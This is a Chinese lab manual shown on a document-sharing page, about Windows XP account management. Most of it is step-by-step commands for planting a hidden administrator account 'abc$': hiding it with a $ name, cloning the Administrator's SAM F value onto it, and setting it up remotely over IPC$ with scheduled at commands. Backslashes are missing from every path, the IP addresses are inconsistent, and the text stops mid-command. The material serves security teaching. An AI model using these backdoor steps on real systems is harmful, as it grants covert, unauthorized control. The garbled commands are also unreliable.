账户管理与权限提升.doc_第1页
账户管理与权限提升.doc_第2页
账户管理与权限提升.doc_第3页
账户管理与权限提升.doc_第4页
账户管理与权限提升.doc_第5页
全文预览已结束

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

账户管理与权限提升【实验原理】系统账户管理是系统安全的重要组成部分,攻击者多通过获取或创建账户并提升权限来获取对系统的控制权。net user命令用于添加或更改用户账号或显示用户账号信息;可通过net localgroup administration 用户名/add 为用户提升权限;net share命令用于创建或删除或显示系统共享资源;net start命令用于启动服务或显示已启动服务的列表;Telnet服务为Windows系统自带服务。用于远程用户连接本地系统的命令行;可用作后门连接使用;默认开放端口为23。【实验环境】本地主机(WindowsXP)、Windows实验台实验的网络拓扑如下图所示,实验目标需首先确定所在主机实验台IP地址,并根据实验步骤填写正确的IP地址进行实验。图 3.5.713【实验步骤】一、 本地管理账户:本地管理账户主要通过三种方式进行用户账户查看管理(1) 通过命令行格式直接进行查看在命令行直接输入 net user,即可对系统的基本账户进行查看,但是此种方法无法查看用户名为“用户名$”形式的用户。(2) 通过管理工具图形界面进行查看打开管理工具中计算机管理,进入本地用户和组,点击用户便可对系统账户进行查看,包括系统账户的用户名权限等信息的查看及修改。(3) 通过查看注册表信息主用户账户信息进行查看在运行中输入regedit,进入注册表后打开HKEY_LOCAL_MACHINEsamsam,右键点击SAM,选择权限,为Administrator用户添加权限。图 3.5.714图 3.5.715关闭注册表,再次在运行中输入regedit,进入注册表后打开HKEY_LOCAL_MACHINEsamsamDomainsaccountusers,user下面的Names中各个键的键值与上面的信息是一致的图 3.5.716此种查看方式能够对全部的系统账户进行查看,但是不易对账户信息修改,因为各个账户信息均有系统生成十六位进制信息。 二、 本地建立隐藏账户:(1) 建立账户点击“开始”“运行”,输入“CMD”运行“命令提示符”,输入“net user abc$ 123 /add”回车,成功后会显示“命令成功完成”。接着输入“net localgroup administrators abc$ /add”回车,这样就利用“命令提示符”成功地建立了一个用户名为“abc$”,密码为“123”的简单“隐藏账户”,并且把该隐藏账户提升为管理员权限。查看隐藏账户的建立是否成功。在“命令提示符”中输入查看系统账户的命令“net user”,回车后会显示当前系统中存在的账户。从返回的结果中可以看到刚才建立的“abc$”这个账户并不存在。接着让进入控制面板的“管理工具”,打开其中的“计算机”,查看其中的“本地用户和组”,在“用户”一项中,刚建立的隐藏账户“abc$”便可以查看到。图 3.5.717总结得出的结论是:这种方法只能将账户在“命令提示符”中进行隐藏,在“计算机管理”中对此种账户查看显而易见。(2) 在“注册表”中进行账户隐藏以上可以看到用命令提示符隐藏账户的方法缺点很明显,很容易暴露。那么有没有可以在“命令提示符”和“计算机管理”中同时隐藏账户的技术呢?答案是肯定的,而这一切只需要我们在“注册表”中进行一番小小的设置,就可以让系统账户在两者中完全不能查看。(3) 给管理员注册表操作权限在注册表中对系统账户的键值进行操作,需要到“HKEY_LOCAL_MACHINESAMSAM”处进行修改,但是当来到该处时,会发现无法展开该处所在的键值。这是因为系统默认对系统管理员给予“写入DAC”和“读取控制”权限,没有给予修改权限,因此不能对“SAM”项下的键值进行查看和修改。不过可以借助系统中另一个“注册表编辑器”给管理员赋予修改权限。点击“开始”“运行”,输入“regedt.exe”后回车,随后会弹出另一个“注册表编辑器”,平时使用的“注册表编辑器”不同的是它可以修改系统账户操作注册表时的权限(为便于理解,以下简称regedt.exe)。在regedt.exe中打开“HKEY_LOCAL_MACHINESAMSAM”处,点击“安全”菜单“权限”,在弹出的“SAM的权限”编辑窗口中选中“administrators”账户,在下方的权限设置处勾选“完全控制”,完成后点击“确定”即可。然后我们切换回“注册表编辑器”,可以发现“HKEY_LOCAL_MACHINESAMSAM”下面的键值都可以展开了。(4) 将隐藏账户替换为管理员打开注册表编辑器“HKEY_LOCAL_MACHINESAMSAMDomainsAccount UsersNames”,当前系统中所有存在的账户都会在这里显示,当然包括我们的隐藏账户。点击我们的隐藏账户“abc$”,在右边显示的键值中的“类型”一项显示为0x3fa,向上来到“HKEY_LOCAL_MACHINESAMSAMDomainsAccountUsers”处,可以找到“000003fa”这一项,这两者是相互对应的,隐藏账户“abc$”的所有信息都在“000003fa”这一项中。同样的,我们可以找到“administrator”账户所对应的项为“000001F4”。图 3.5.718将“abc$”的键值导出为abc$.reg,同时将“000003Fa”和“000001F4”项的F键值分别导出为user.reg,admin.reg。用“记事本”打开admin.reg,将其中“F”值后面的内容复制下来,替换user.reg中的“F”值内容,完成后保存。接下来进入“命令提示符”,输入“net user abc$ /del”将我们建立的隐藏账户删除。最后,将abc$.reg和user.reg导入注册表,至此,隐藏账户制作完成。图 3.5.719三、 远程建立隐藏超级用户账户:(1) 先与远程主机(实验台)建立连接,命令为:net use 192.168.1.235ipc$ isesuser(实验台ip) /user:administrator(2) 用at命令在远程主机上建立一个用户(如果at服务没有启动,可用netsvc.exe、sc.exe或sc命令来远程启动): at 192.168.1.235 11:29 net user abc$ 123 /add。建立这个加有$符的用户名,是因为加有$符后,命令行下用net user将不显示这个用户,但在帐户管理器却能看到这个用户。(3) 同样用at命令导出HKEY_LOCAL_MACHINEsamsamDomainsaccountusers下键值(先需administrator用户对注册表SAMSAM的访问权限,在远程主机的运行中输入regedit,进入注册表后打开HKEY_LOCAL_MACHINEsamsam,右键点击SAM,选择权限,为Administrator用户添加权限):at 192.168.1.235 11:33 regedit /e abc.reg HKEY_LOCAL_MACHINESAMSAMDomainsaccountusers/e 是regedit的参数,在HKEY_LOCAL_MACHINE SAMSAMDomainsaccountusers这个键的一定要以结尾。必要的情况下可以用引号将下面引起来:c:winntregedit.exe /e abc.reg HKEY_LOCAL_MACHINESAMSAMDomainsaccountusers。(4) 将远程主机上的abc.reg下载到本机上用记事本打开进行编辑命令为:copy 192.168.1.235admin$system32abc.reg c:abc.reg修改的方法已经介绍过了,这里就不作介绍了。(5) 再将编辑好的abc.reg拷回远程主机:copy c:abc.reg 192.168.1.235admin$abc1.reg(6) 查看远程主机时间:net time 13.50.97.238 然后用at命令将用户abc$删除:at 192.168.1.235 11:56 c:windowssystem32net.exe user abc$ /del(7) 验证abc$是否删除:用net use 13.50.97.238 /del 断开与远程主机的连接。net use 192.168.1.235ipc$ 123 /user:abc$用帐户abc$与远程主机连接,不能连接说明已删除。(8) 再与远程主机建立连接:net use 192.168.1.235ipc$ isesuser /user:administrator再取得远程主机时间,用at命令将拷回远程主机的abc1.reg导入远程主机注册表:at 192.168.1.235

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论